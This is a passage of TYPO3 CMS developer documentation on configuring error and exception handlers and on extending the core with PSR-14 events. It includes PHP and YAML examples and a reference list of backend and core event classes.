php_flag display_errors off
php_flag log_errors on
php_value error_log /path/to/php_error.log
Copied!

Performance setup

Since the error and exception handling and also the logging need some performance, here's an example how to disable error and exception handling completely.

In LocalConfiguration.php or AdditionalConfiguration.php:

typo3conf/AdditionalConfiguration.php
 $changeSettings['SYS'] = [
   'displayErrors' => 0,
   'devIPmask' => '',
   'errorHandler' => '',
   'debugExceptionHandler' => '',
   'productionExceptionHandler' => '',
   'belogErrorReporting' => '0',
];

$GLOBALS['TYPO3_CONF_VARS'] = array_replace_recursive($GLOBALS['TYPO3_CONF_VARS'], $changeSettings);
Copied!

In .htaccess:

.htaccess
php_flag display_errors off
php_flag log_errors off
Copied!

How to extend the error and exception handling

If you want to register your own error or exception handler:

  1. Create a corresponding class in your extension
  2. Override the Core defaults for productionExceptionHandler, debugExceptionHandler or errorHandler in typo3conf/AdditionalConfiguration.php:

    typo3conf/AdditionalConfiguration.php
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandler'] = \Vendor\Ext\Error\MyOwnErrorHandler::class;
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler'] = \Vendor\Ext\Error\MyOwnDebugExceptionHandler::class;
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['productionExceptionHandler'] = \Vendor\Ext\Error\MyOwnProductionExceptionHandler::class;
    Copied!

An error or exception handler class must register an error (exception) handler in its constructor. Have a look at the files in EXT:core/Classes/Error/ to see how this should be done.

If you want to use the built-in error and exception handling but extend it with your own functionality, derive your class from the error and exception handling classes shipped with TYPO3.

Example Debug Exception Handler

This uses the default Core exception handler DebugExceptionHandler and overrides some of the functionality:

EXT:some_extension/Classes/Error/PostExceptionsOnTwitter.php
namespace Vendor\SomeExtension\Error;

class PostExceptionsOnTwitter extends \TYPO3\CMS\Core\Error\DebugExceptionHandler
{
    public function echoExceptionWeb(Exception $exception)
    {
        $this->postExceptionsOnTwitter($exception);
    }

    public function postExceptionsOnTwitter($exception)
    {
        // do it ;-)
    }
}
Copied!
typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler'] = \Vendor\SomeExtension\Error\PostExceptionsOnTwitter::class;
Copied!

Events, signals and hooks

Events, signals and hooks provide an easy way to extend the functionality of the TYPO3 Core and its extensions without blocking others to do the same.

Contents:

Extending the TYPO3 Core

Events, Hooks and Signals provide an easy way to extend the functionality of the TYPO3 Core and its extensions without blocking others to do the same.

Events are being emitted by the TYPO3 Core or an Extension via the EventDispatcher. The Event will be received by all implemented Event Listeners for the Event in question. Events are strongly typed. Events only allow changes to variables that are intended to be changed by the Event.

Hooks are basically places in the source code where a user function will be called for processing if such has been configured.

Signals roughly follow the observer pattern. Signals and Slots decouple the sender (sending a signal) and the receiver(s) (called slots). The sender sends a signal - like "database updated" - and all receivers listening to that signal will be executed.

TYPO3 Extending Mechanisms Video

Lina Wolf: Extending Extensions @ TYPO3 Developer Days 2019

Events, Signals and Hooks vs. XCLASS Extensions

Events, Signals and Hooks are the recommended way of extending TYPO3 compared to extending PHP classes with a child class (see XCLASS extensions). Because only one extension of a PHP class can exist at a time while hooks and signals may allow many different user-designed processor functions to be executed. With TYPO3 v10 the EventDispatcher was introduced. It is a strongly typed method of extending TYPO3 and therefore recommended to use wherever available.

However, Events have to be emitted, Hooks and Signals have to be implemented, in the TYPO3 Core or an Extension before you can use them, while extending a PHP class via the XCLASS method allows you to extend any class you like.

Proposing Events

If you need to extend something which has no event, hook or signal yet, then you should suggest emitting an event. Normally that is rather easily done by the author of the source you want to extend.

Event dispatcher (PSR-14 events)

The event dispatcher system was added to extend TYPO3's Core behaviour in TYPO3 v10.0. In the past, this was done via Extbase's signal/slot and TYPO3's custom hook system. The event dispatcher system is a fully-capable replacement for new code in TYPO3, as well as a possibility to migrate away from previous TYPO3 solutions.

Don't get hooked, listen to events! PSR-14 within TYPO3 v10.

-- Benni Mack @ TYPO3 Developer Days 2019

For a basic example on listening to an event, see the chapter Listen to an event in the extension development how-to section.

Quick start

Dispatching an event

  1. Create an event class.

    An event class is basically a plain PHP object with getters for immutable properties and setters for mutable properties. It contains a constructor for all properties:

    EXT:my_extension/Classes/Event/DoingThisAndThatEvent.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Event;
    
    final class DoingThisAndThatEvent
    {
        public function __construct(
            private string $mutableProperty,
            private readonly int $immutableProperty,
        ) {
        }
    
        public function getMutableProperty(): string
        {
            return $this->mutableProperty;
        }
    
        public function setMutableProperty(string $mutableProperty): void
        {
            $this->mutableProperty = $mutableProperty;
        }
    
        public function getImmutableProperty(): int
        {
            return $this->immutableProperty;
        }
    }
    
    Copied!

    Read more about implementing event classes.

  2. Inject the event dispatcher

    If you are in a controller, the event dispatcher has already been injected, and in this case you can omit this step.

    If the event dispatcher is not yet available, you need to inject it:

    EXT:my_extension/Classes/SomeClass.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension;
    
    use Psr\EventDispatcher\EventDispatcherInterface;
    
    final class SomeClass
    {
        public function __construct(
            private readonly EventDispatcherInterface $eventDispatcher,
        ) {
        }
    }
    
    Copied!
  3. Dispatch the event

    Create an event object with the data that should be passed to the listeners. Use the data of mutable properties as it suits your business logic:

    EXT:my_extension/Classes/SomeClass.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension;
    
    use MyVendor\MyExtension\Event\DoingThisAndThatEvent;
    use Psr\EventDispatcher\EventDispatcherInterface;
    
    final class SomeClass
    {
        public function __construct(
            private readonly EventDispatcherInterface $eventDispatcher,
        ) {
        }
    
        public function doSomething(): void
        {
            // ..
    
            /** @var DoingThisAndThatEvent $event */
            $event = $this->eventDispatcher->dispatch(
                new DoingThisAndThatEvent('foo', 2)
            );
            $someChangedValue = $event->getMutableProperty();
    
            // ...
        }
    }
    
    Copied!

Description of PSR-14 in the context of TYPO3

PSR-14 is a lean solution that builds upon wide-spread solutions for hooking into existing PHP code (Frameworks, CMS, and the like).

PSR-14 consists of the following four components:

The event dispatcher object

The EventDispatcher object is used to trigger an event. TYPO3 has a custom event dispatcher implementation. In PSR-14 all event dispatchers of all frameworks are implementing \Psr\EventDispatcher\EventDispatcherInterface , thus it is possible to replace the event dispatcher with another. The EventDispatcher's main method dispatch() is called in TYPO3 Core or extensions. It receives a PHP object which will then be handed to all available listeners.

The listener provider

A ListenerProvider object that contains all listeners which have been registered for all events. TYPO3 has a custom listener provider that collects all listeners during compile time. This component is not exposed outside of TYPO3's Core Framework.

The events

An Event object can be any PHP object and is called from TYPO3 Core or an extension ("emitter") containing all information to be transported to the listeners. By default, all registered listeners get triggered by an event, however, if an event has the interface \Psr\EventDispatcher\StoppableEventInterface implemented, a listener can stop further execution of other event listeners. This is especially useful, if the listeners are candidates to provide information to the emitter. This allows to finish event dispatching, once this information has been acquired.

If an event can be modified, appropriate methods should be available, although due to PHP's nature of handling objects and the PSR-14 listener signature, it cannot be guaranteed to be immutable.

The listeners

Extensions and PHP packages can add listeners that are registered via YAML. They are usually associated to Event objects by the fully-qualified class name of the event to be listened on. It is the task of the listener provider to provide configuration mechanisms to represent this relationship.

Advantages of the EventDispatcher over hooks and signals and slots

The main benefits of the EventDispatcher approach over Hooks and Extbase's SignalSlot dispatcher is an implementation which helps extension authors to better understand the possibilities by having a strongly typed system based on PHP. In addition, it serves as a bridge to also incorporate other events provided by frameworks that support PSR-14.

Impact on TYPO3 Core development in the future

TYPO3's event dispatcher serves as the basis to replace all signal/slots and hooks in the future, however for the time being, hooks and registered Slots work the same way as before, unless migrated to an event dDispatcher-like code, whereas a PHP E_USER_DEPRECATED error can be triggered.

Some hooks / signal/slots might not be replaced 1:1 to event dispatcher, but rather superseded with a more robust or future-proof API.

Implementing an event listener in your extension

Registering the event listener

If an extension author wants to provide a custom event listener, an according entry with the tag event.listener can be added to the Configuration/Services.yaml file of that extension.

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\EventListener\NullMailer:
    tags:
      - name: event.listener
        method: handleEvent
        identifier: 'myListener'
        before: 'redirects, anotherIdentifier'
        event: TYPO3\CMS\Core\Mail\Event\AfterMailerInitializationEvent
Copied!

Read how to configure dependency injection in extensions.

The tag name event.listener identifies that a listener should be registered.

The custom PHP class \MyVendor\MyExtension\EventListener\NullMailer serves as the listener whose handleEvent() method is called, once the event is dispatched. The identifier is a common name, so orderings can be built upon the identifier, the optional before and after attributes allow for custom sorting against the identifier of other listeners.

If no attribute method is given, the class is treated as invokable, thus its __invoke() method will be called:

EXT:my_extension/Configuration/Services.yaml
services:
  # Place here the default dependency injection configuration

  MyVendor\MyExtension\EventListener\NullMailer:
    tags:
      - name: event.listener
        identifier: 'myListener'
        before: 'redirects, anotherIdentifier'
        event: TYPO3\CMS\Core\Mail\Event\AfterMailerInitializationEvent
Copied!

Read how to configure dependency injection in extensions.

Changed in version 11.3

The event tag can be omitted if the listener implementation has a corresponding event type in the method signature. In that case the event class is automatically derived from the method signature of the listener implementation.

The event listener class

An example listener, which hooks into the Mailer API to modify mailer settings to not send any emails, could look like this:

EXT:my_extension/Classes/EventListener/NullMailer.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\EventListener;

use TYPO3\CMS\Core\Mail\Event\AfterMailerInitializationEvent;

final class NullMailer
{
    public function __invoke(AfterMailerInitializationEvent $event): void
    {
        $event->getMailer()->injectMailSettings(['transport' => 'null']);
    }
}
Copied!

An extension can define multiple listeners.

Once the emitter is triggering an event, this listener is called automatically. Be sure to inspect the event's PHP class to fully understand the capabilities provided by an event.

Best practices

  • When configuring listeners, it is recommended to add one listener class per event type, and have it called via __invoke().
  • When creating a new event PHP class, it is recommended to add an Event suffix to the PHP class, and to move it into an appropriate folder like Classes/Event to easily discover events provided by a package. Be careful about the context that should be exposed.
  • Emitters (TYPO3 Core or extension authors) should always use Dependency Injection to receive the event dispatcher object as a constructor argument, where possible, by adding a type declaration for \Psr\EventDispatcher\EventDispatcherInterface .

Any kind of event provided by TYPO3 Core falls under TYPO3's Core API deprecation policy, except for its constructor arguments, which may vary. Events that should only be used within TYPO3 Core, are marked as @internal, just like other non-API parts of TYPO3. Events marked as @internal should be avoided whenever technically possible.

Debugging event handling

A complete list of all registered event listeners can be viewed in the the module System > Configuration > Event Listeners (PSR-14). The system extension lowlevel has to be installed for this module to be available.

To debug all events that are actually dispatched during a frontend request you can use the admin panel:

Go to Admin Panel > Debug > Events and see all dispatched events. The system extension adminpanel has to be installed for this module to be available.

Event list

The following list contains PSR-14 events in the TYPO3 Core .

Contents:

Backend

The following list contains PSR-14 events in EXT:backend.

Contents:

AfterFormEnginePageInitializedEvent

Event to listen to after the form engine has been initialized (= all data has been persisted).

API

class AfterFormEnginePageInitializedEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\AfterFormEnginePageInitializedEvent

Event to listen to after the form engine has been initialized (= all data has been persisted)

getController ( )
returntype

TYPO3\CMS\Backend\Controller\EditDocumentController

getRequest ( )
returntype

Psr\Http\Message\ServerRequestInterface

AfterHistoryRollbackFinishedEvent

This event is fired after a history record rollback finished.

API

class AfterHistoryRollbackFinishedEvent
Fully qualified name
\TYPO3\CMS\Backend\History\Event\AfterHistoryRollbackFinishedEvent

This event is fired after a history record rollback finished.

getRecordHistoryRollback ( )
returntype

TYPO3\CMS\Backend\History\RecordHistoryRollback

getRollbackFields ( )
returntype

string

getDiff ( )
returntype

array

getDataHandlerInput ( )
returntype

array

getBackendUserAuthentication ( )
returntype

TYPO3\CMS\Core\Authentication\BackendUserAuthentication

AfterPageColumnsSelectedForLocalizationEvent

Event to listen to after the form engine has been initialized (and all data has been persisted).

The PSR-14 event \TYPO3\CMS\Backend\Controller\Event\AfterPageColumnsSelectedForLocalizationEvent will be dispatched after records and columns are collected in the LocalizationController.

The event receives:

  • The default columns and columns list built by LocalizationController
  • The list of records that were analyzed to create the columns manifest
  • The parameters received by the LocalizationController

The event allows changes to:

  • the columns
  • the columns list

This allows third party code to read or manipulate the "columns manifest" that gets displayed in the translation modal when a user has clicked the Translate button in the page module, by implementing a listener for the event.

API

class AfterPageColumnsSelectedForLocalizationEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\AfterPageColumnsSelectedForLocalizationEvent

This event triggers after the LocalizationController (AJAX) has selected page columns to be translated. Allows third parties to add to or change the columns and content elements withing those columns which will be available for localization through the "translate" modal in the page module.

getColumns ( )
returntype

array

setColumns ( array $columns)
param array $columns

the columns

getColumnList ( )
returntype

array

setColumnList ( array $columnList)
param array $columnList

the columnList

getBackendLayout ( )
returntype

TYPO3\CMS\Backend\View\BackendLayout\BackendLayout

getRecords ( )
returntype

array

getParameters ( )
returntype

array

BeforeFormEnginePageInitializedEvent

Event to listen to before the form engine has been initialized (= before all data will be persisted).

API

class BeforeFormEnginePageInitializedEvent
Fully qualified name
\TYPO3\CMS\Backend\Controller\Event\BeforeFormEnginePageInitializedEvent

Event to listen to before the form engine has been initialized (= before all data will be persisted)

getController ( )
returntype

TYPO3\CMS\Backend\Controller\EditDocumentController

getRequest ( )
returntype

Psr\Http\Message\ServerRequestInterface

BeforeHistoryRollbackStartEvent

This event is fired before a history record rollback starts.

API

class BeforeHistoryRollbackStartEvent
Fully qualified name
\TYPO3\CMS\Backend\History\Event\BeforeHistoryRollbackStartEvent

This event is fired before a history record rollback starts

getRecordHistoryRollback ( )
returntype

TYPO3\CMS\Backend\History\RecordHistoryRollback

getRollbackFields ( )
returntype

string

getDiff ( )
returntype

array

getBackendUserAuthentication ( )
returntype

TYPO3\CMS\Core\Authentication\BackendUserAuthentication

ModifyClearCacheActionsEvent

New in version 11.4

The ModifyClearCacheActionsEvent is fired in the ClearCacheToolbarItem class and allows extensions to modify the clear cache actions, shown in the TYPO3 backend top toolbar.

The event can be used to change or remove existing clear cache actions, as well as to add new actions. Therefore the event also contains, next to the usual "getter" and "setter" methods, the convenience method add for the cacheActions and cacheActionIdentifiers arrays.

Example

Registration of the event in the Services.yaml:

EXT:some_extension/Configuration/Services.yaml
Vendor\SomeExtension\Toolbar\MyEventListener:
  tags:
    - name: event.listener
      identifier: 'my-package/toolbar/my-event-listener'
Copied!

The corresponding event listener class:

EXT:some_extension/Classes/EventListener/MyEventListener.php
use TYPO3\CMS\Backend\Backend\Event\ModifyClearCacheActionsEvent;

final class MyEventListener {

    public function __invoke(ModifyClearCacheActionsEvent $event): void
    {
        // do magic here
    }

}
Copied!

The cache action array element consists of the following keys and values:

Example cache action array
[
    'id' => 'pages',
    'title' => 'LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:flushPageCachesTitle',
    'description' => 'LLL:EXT:core/Resources/Private/Language/locallang_core.xlf:flushPageCachesDescription',
    'href' => (string)$uriBuilder->buildUriFromRoute('tce_db', ['cacheCmd' => 'pages']),
    'iconIdentifier' => 'actions-system-cache-clear-impact-low'
]
Copied!

API

class ModifyClearCacheActionsEvent
Fully qualified name
\TYPO3\CMS\Backend\Backend\Event\ModifyClearCacheActionsEvent

An event to modify the clear cache actions, shown in the TYPO3 Backend top toolbar

addCacheAction ( array $cacheAction)
param array $cacheAction

the cacheAction

setCacheActions ( array $cacheActions)
param array $cacheActions

the cacheActions

getCacheActions ( )
returntype

array

addCacheActionIdentifier ( string $cacheActionIdentifier)
param string $cacheActionIdentifier

the cacheActionIdentifier

setCacheActionIdentifiers ( array $cacheActionIdentifiers)
param array $cacheActionIdentifiers

the cacheActionIdentifiers

getCacheActionIdentifiers ( )
returntype

array

ModifyPageLayoutOnLoginProviderSelectionEvent

Allows to modify variables for the view depending on a special login provider set in the controller.

API

class ModifyPageLayoutOnLoginProviderSelectionEvent
Fully qualified name
\TYPO3\CMS\Backend\LoginProvider\Event\ModifyPageLayoutOnLoginProviderSelectionEvent

Allows to modify variables for the view depending on a special login provider set in the controller.

getController ( )
returntype

TYPO3\CMS\Backend\Controller\LoginController

getView ( )
returntype

TYPO3\CMS\Fluid\View\StandaloneView

getPageRenderer ( )
returntype

TYPO3\CMS\Core\Page\PageRenderer

SwitchUserEvent

This event is dispatched when a "SU" (switch user) action has been triggered.

API

class SwitchUserEvent
Fully qualified name
\TYPO3\CMS\Backend\Authentication\Event\SwitchUserEvent

This event is triggered when a "SU" (switch user) action has been triggered

getSessionId ( )
returntype

string

getTargetUser ( )
returntype

array

getCurrentUser ( )
returntype

array

SystemInformationToolbarCollectorEvent

An event to enrich the system information toolbar in the TYPO3 Backend top toolbar with various information.

API

class SystemInformationToolbarCollectorEvent
Fully qualified name
\TYPO3\CMS\Backend\Backend\Event\SystemInformationToolbarCollectorEvent

An event to enrich the system information toolbar in the TYPO3 Backend top toolbar with various information

getToolbarItem ( )
returntype

TYPO3\CMS\Backend\Backend\ToolbarItems\SystemInformationToolbarItem

Core

The following list contains PSR-14 events in EXT:core .

Contents:

Authentication

The following list contains PSR-14 events in EXT:core, namespace Authentication.

Contents:

AfterGroupsResolvedEvent

When user groups are loaded, for example when a backend editor's groups and permissions are calculated, a new PSR-14 event AfterGroupsResolvedEvent is fired.

This event contains a list of retrieved groups from the database which can be modified via event listeners. For example, more groups might be added when a particular user logs in or is seated at a special location.

API

class AfterGroupsResolvedEvent
Fully qualified name
\TYPO3\CMS\Core\Authentication\Event\AfterGroupsResolvedEvent

Event fired after user groups have been resolved for a specific user

getSourceDatabaseTable ( )
returntype

string

Returns

'be_groups' or 'fe_groups' depending on context.

getGroups ( )

List of group records including sub groups as resolved by core.

Note order is important: A user with main groups "1,2", where 1 has sub group 3, results in "3,1,2" as record list array - sub groups are listed before the group that includes the sub group.

returntype

array

setGroups ( array $groups)

List of group records as manipulated by the event.

param array $groups

the groups

getOriginalGroupIds ( )

List of group uids directly attached to the user

returntype

array

getUserData ( )

Full user record with all fields

returntype

array

Cache

The following list contains PSR-14 events in EXT:core, namespace Cache.

Contents:

CacheFlushEvent

New in version 11.4

The PSR-14 event \TYPO3\CMS\Core\Cache\Event\CacheFlushEvent is fired when caches are to be cleared.

Example

API

class CacheFlushEvent
Fully qualified name
\TYPO3\CMS\Core\Cache\Event\CacheFlushEvent

Event fired when caches are to be cleared

getGroups ( )
returntype

array

hasGroup ( string $group)
param string $group

the group

returntype

bool

getErrors ( )
returntype

array

addError ( string $error)
param string $error

the error

CacheWarmupEvent

New in version 11.4

The PSR-14 event \TYPO3\CMS\Core\Cache\Event\CacheWarmupEvent is fired when caches are to be warmed up.

Example

API

class CacheWarmupEvent
Fully qualified name
\TYPO3\CMS\Core\Cache\Event\CacheWarmupEvent

Event fired when caches are to be warmed up

getGroups ( )
returntype

array

hasGroup ( string $group)
param string $group

the group

returntype

bool

getErrors ( )
returntype

array

addError ( string $error)
param string $error

the error

Configuration

The following list contains PSR-14 events in EXT:core, namespace Configuration.

Contents:

AfterTcaCompilationEvent

Event after $GLOBALS['TCA'] is built to allow to further manipulate the TCA.

API

class AfterTcaCompilationEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\AfterTcaCompilationEvent

Event after $GLOBALS['TCA'] is built to allow to further manipulate $tca.

Side note: It is possible to check against the original TCA as this is stored within $GLOBALS['TCA'] before this event is fired.

getTca ( )
returntype

array

setTca ( array $tca)
param array $tca

the tca

ModifyLoadedPageTsConfigEvent

Extensions can modify Page TSConfig entries that can be overridden or added, based on the root line.

API

class ModifyLoadedPageTsConfigEvent
Fully qualified name
\TYPO3\CMS\Core\Configuration\Event\ModifyLoadedPageTsConfigEvent

Extensions can modify pageTSConfig entries that can be overridden or added, based on the root line

getTsConfig ( )
returntype

array

addTsConfig ( string $tsConfig)
param string $tsConfig

the tsConfig

setTsConfig ( array $tsConfig)
param array $tsConfig

the tsConfig

getRootLine ( )
returntype

array

Core

The following list contains PSR-14 events in EXT:core, namespace Core.

Contents:

BootCompletedEvent

New in version 11.4

The BootCompletedEvent is fired on every request when TYPO3 has been fully booted, right after all configuration files have been added.

This new event complements the AfterTcaCompilationEvent which is executed after TCA configuration has been assembled.

Use cases for this event include running extensions' code which needs to be executed at any time, and needs TYPO3's full configuration including all loaded extensions.

Example

Registration of the event in the Services.yaml:

MyVendor\MyPackage\Bootstrap\MyEventListener:
  tags:
    - name: event.listener
      identifier: 'my-package/my-listener'
Copied!
final class MyEventListener {
    public function __invoke(BootCompletedEvent $e): void
    {
        // do your magic
    }
}
Copied!

API

class BootCompletedEvent
Fully qualified name
\TYPO3\CMS\Core\Core\Event\BootCompletedEvent

Executed when TYPO3 has fully booted (after all ext_tables.php files have been processed)

isCachingEnabled ( )
returntype

bool

Database

The following list contains PSR-14 events in EXT:core, namespace Database.

Contents:

AlterTableDefinitionStatementsEvent

Event to intercept the CREATE TABLE statement from all loaded extensions.

API

class AlterTableDefinitionStatementsEvent
Fully qualified name
\TYPO3\CMS\Core\Database\Event\AlterTableDefinitionStatementsEvent

Event to intercept the "CREATE TABLE" statement from all loaded extensions.

addSqlData ( mixed $data)
param mixed $data

the data

getSqlData ( )
returntype

array

setSqlData ( array $sqlData)
param array $sqlData

the sqlData

DataHandling

The following list contains PSR-14 events in EXT:core, namespace Database.

Contents:

AppendLinkHandlerElementsEvent

Event fired so listeners can intercept add elements when checking links within the soft reference parser.

API

class AppendLinkHandlerElementsEvent
Fully qualified name
\TYPO3\CMS\Core\DataHandling\Event\AppendLinkHandlerElementsEvent

Event fired so listeners can intercept add elements when checking links within the SoftRef parser

getLinkParts ( )
returntype

array

getContent ( )
returntype

string

getElements ( )
returntype

array

getIdx ( )
returntype

int

getTokenId ( )
returntype

string

setLinkParts ( array $linkParts)
param array $linkParts

the linkParts

setContent ( string $content)
param string $content

the content

setElements ( array $elements)
param array $elements

the elements

addElements ( array $elements)
param array $elements

the elements

isResolved ( )
returntype

bool

IsTableExcludedFromReferenceIndexEvent

Event to intercept if a certain table should be excluded from the Reference Index. There is no need to add tables without a definition in $GLOBALS['TCA'] since ReferenceIndex only handles those.

API

class IsTableExcludedFromReferenceIndexEvent
Fully qualified name
\TYPO3\CMS\Core\DataHandling\Event\IsTableExcludedFromReferenceIndexEvent

Event to intercept if a certain table should be excluded from the Reference Index.

There is no need to add tables without a definition in $GLOBALS['TCA'] since ReferenceIndex only handles those.

getTable ( )
returntype

string

markAsExcluded ( )
isTableExcluded ( )
returntype

bool

isPropagationStopped ( )
returntype

bool

Html

The following list contains PSR-14 events in EXT:core, namespace Html.

Contents:

BrokenLinkAnalysisEvent

A PSR-14-based event \TYPO3\CMS\Core\Html\Event\BrokenLinkAnalysisEvent can be used to get information about broken links set in the rich text editor (RTE).

The procedure for marking the broken links in the RTE is as follow:

  1. RTE content is fetched from the database. Before it is displayed in the edit form, RTE transformations are performed.
  2. The transformation function parses the text and detects links.
  3. For each link, a new PSR-14 event is dispatched.
  4. If a listener is attached, it may set the link as broken and will set the link as "checked".
  5. If a link is detected as broken, RTE will mark it as broken.

This functionality is implemented in the system extension "linkvalidator". Other extensions can use the event to override the default behaviour.

API

class BrokenLinkAnalysisEvent
Fully qualified name
\TYPO3\CMS\Core\Html\Event\BrokenLinkAnalysisEvent

Event that is fired to validate if a link is valid or not.

isPropagationStopped ( )
returntype

bool

getLinkType ( )
returntype

string

getLinkData ( )
returntype

array

param string $reason

the reason, default: ''

returntype

bool

getReason ( )
returntype

string

Mail

The following list contains PSR-14 events in EXT:core, namespace Mail.

Contents:

AfterMailerInitializationEvent

This event is fired once a new Mailer is instantiated with specific transport settings. So it is possible to add custom mailing settings.

Example

An example listener, which hooks into the Mailer API to modify Mailer settings to not send any emails, could look like this:

namespace MyCompany\MyPackage\EventListener;
use TYPO3\CMS\Core\Mail\Event\AfterMailerInitializationEvent;

final class NullMailer
{
    public function __invoke(AfterMailerInitializationEvent $event): void
    {
        $event->getMailer()->injectMailSettings(['transport' => 'null']);
    }
}
Copied!

API

class AfterMailerInitializationEvent
Fully qualified name
\TYPO3\CMS\Core\Mail\Event\AfterMailerInitializationEvent

This event is fired once a new Mailer is instantiated with specific transport settings.

So it is possible to add custom mailing settings.

getMailer ( )
returntype

Symfony\Component\Mailer\MailerInterface

Package

The following list contains PSR-14 events in EXT:core, namespace Package.

Contents:

AfterPackageActivationEvent

New in version 10.3

The event was introduced to replace the Signal/Slot \TYPO3\CMS\Extensionmanager\Utility\InstallUtility::afterExtensionInstall.

The PSR-14 event \TYPO3\CMS\Core\Package\Event\AfterPackageActivationEvent is triggered after a package has been activated.

Example

Registration of the event listener in the extension's Services.yaml:

EXT:my_extension/Configuration/Services.yaml
services:
  MyVendor\MyExtension\Package\EventListener\MyEventListener:
    tags:
      - name: event.listener
        identifier: 'my-extension/extension-activated'
Copied!

An implementation of the event listener:

EXT:my_extension/Classes/Package/EventListener/MyEventListener.php
<?php

namespace MyVendor\MyExtension\Package\EventListener;

use TYPO3\CMS\Core\Package\Event\AfterPackageActivationEvent;

final class MyEventListener
{
    public function __invoke(AfterPackageActivationEvent $event)
    {
        if ($event->getPackageKey() === 'my_extension') {
            $this->executeInstall();
        }
    }

    private function executeInstall(): void
    {
        // do something
    }
}
Copied!

API

class AfterPackageActivationEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\AfterPackageActivationEvent

Event that is triggered after a package has been activated

getPackageKey ( )
returntype

string

getType ( )
returntype

string

getEmitter ( )
returntype

object

AfterPackageDeactivationEvent

New in version 10.3

The event was introduced to replace the Signal/Slot \TYPO3\CMS\Extensionmanager\Utility\InstallUtility::afterExtensionUninstall.

The PSR-14 event \TYPO3\CMS\Core\Package\Event\AfterPackageDeactivationEvent is triggered after a package has been deactivated.

API

class AfterPackageDeactivationEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\AfterPackageDeactivationEvent

Event that is triggered after a package has been de-activated

getPackageKey ( )
returntype

string

getType ( )
returntype

string

getEmitter ( )
returntype

object

BeforePackageActivationEvent

The PSR-14 event \TYPO3\CMS\Core\Package\Event\BeforePackageActivationEvent is triggered before a number of packages should become active.

API

class BeforePackageActivationEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\BeforePackageActivationEvent

Event that is triggered before a number of packages should become active

getPackageKeys ( )
returntype

array

PackagesMayHaveChangedEvent

New in version 10.3

The event was introduced to replace the Signal/Slot \TYPO3\CMS\Core\Package\PackageManager::packagesMayHaveChanged.

The PSR-14 event \TYPO3\CMS\Core\Package\Event\PackagesMayHaveChangedEvent is a marker event to ensure that Core is re-triggering the package ordering and package listings.

API

class PackagesMayHaveChangedEvent
Fully qualified name
\TYPO3\CMS\Core\Package\Event\PackagesMayHaveChangedEvent

Marker event to ensure that Core is re-triggering the package ordering and package listings

Page

The following list contains PSR-14 events in EXT:core, namespace Page.

Contents:

BeforeJavaScriptsRenderingEvent

New in version 10.4

This event is fired once before \TYPO3\CMS\Core\Page\AssetRenderer::render[Inline]JavaScript renders the output.

API

class BeforeJavaScriptsRenderingEvent
Fully qualified name
\TYPO3\CMS\Core\Page\Event\BeforeJavaScriptsRenderingEvent

This event is fired once before TYPO3CMSCorePageAssetRenderer::render[Inline]JavaScript renders the output.

getAssetCollector ( )
returntype

TYPO3\CMS\Core\Page\AssetCollector

isInline ( )
returntype

bool

isPriority ( )
returntype

bool

BeforeStylesheetsRenderingEvent

New in version 10.4

This event is fired once before \TYPO3\CMS\Core\Page\AssetRenderer::render[Inline]Stylesheets renders the output.

API

class BeforeStylesheetsRenderingEvent
Fully qualified name
\TYPO3\CMS\Core\Page\Event\BeforeStylesheetsRenderingEvent

This event is fired once before TYPO3CMSCorePageAssetRenderer::render[Inline]Stylesheets renders the output.

getAssetCollector ( )
returntype

TYPO3\CMS\Core\Page\AssetCollector

isInline ( )
returntype

bool

isPriority ( )
returntype

bool

Resource

The following list contains PSR-14 events in EXT:core, namespace Resource.

Contents:

AfterFileAddedEvent

This event is fired after a file was added to the Resource Storage / Driver.

Use case: Using listeners for this event allows to e.g. post-check permissions or specific analysis of files like additional metadata analysis after adding them to TYPO3.

API

class AfterFileAddedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileAddedEvent

This event is fired after a file was added to the Resource Storage / Driver.

Use case: Using listeners for this event allows to e.g. post-check permissions or specific analysis of files like additional metadata analysis after adding them to TYPO3.

getFile ( )
returntype

TYPO3\CMS\Core\Resource\FileInterface

getFolder ( )
returntype

TYPO3\CMS\Core\Resource\Folder

AfterFileAddedToIndexEvent

This event is fired once an index was just added to the database (= indexed).

Examples:

Allows to additionally populate custom fields of the sys_file/ sys_file_metadata database records.

API

class AfterFileAddedToIndexEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileAddedToIndexEvent

This event is fired once an index was just added to the database (= indexed).

Examples: Allows to additionally populate custom fields of the sys_file/sys_file_metadata database records.

getFileUid ( )
returntype

int

getRecord ( )
returntype

array

AfterFileCommandProcessedEvent

New in version 11.4

The AfterFileCommandProcessedEvent can be used to perform additional tasks for specific file commands. For example, trigger a custom indexer after a file has been uploaded.

The AfterFileCommandProcessedEvent is fired in the ExtendedFileUtility class.

Example

Registration of the event in the Services.yaml:

MyVendor\MyPackage\File\MyEventListener:
  tags:
    - name: event.listener
      identifier: 'my-package/file/my-event-listener'
Copied!

The corresponding event listener class:

use TYPO3\CMS\Core\Resource\Event\AfterFileCommandProcessedEvent;

final class MyEventListener {

    public function __invoke(AfterFileCommandProcessedEvent $event): void
    {
        // do magic here
    }

}
Copied!

API

class AfterFileCommandProcessedEvent
Fully qualified name
\TYPO3\CMS\Core\Resource\Event\AfterFileCommandProcessedEvent

Event that is triggered after a file command has been processed. Can be used to perform additional tasks for specific commands. For example, trigger a custom indexer after a file has been uploaded.

getCommand ( )

A single command, e.g.:

'upload' => [
'target' => '1:/some/folder/' 'data' => '1'

]

returntype

array

getResult ( )
getConflictMode ( )
returntype

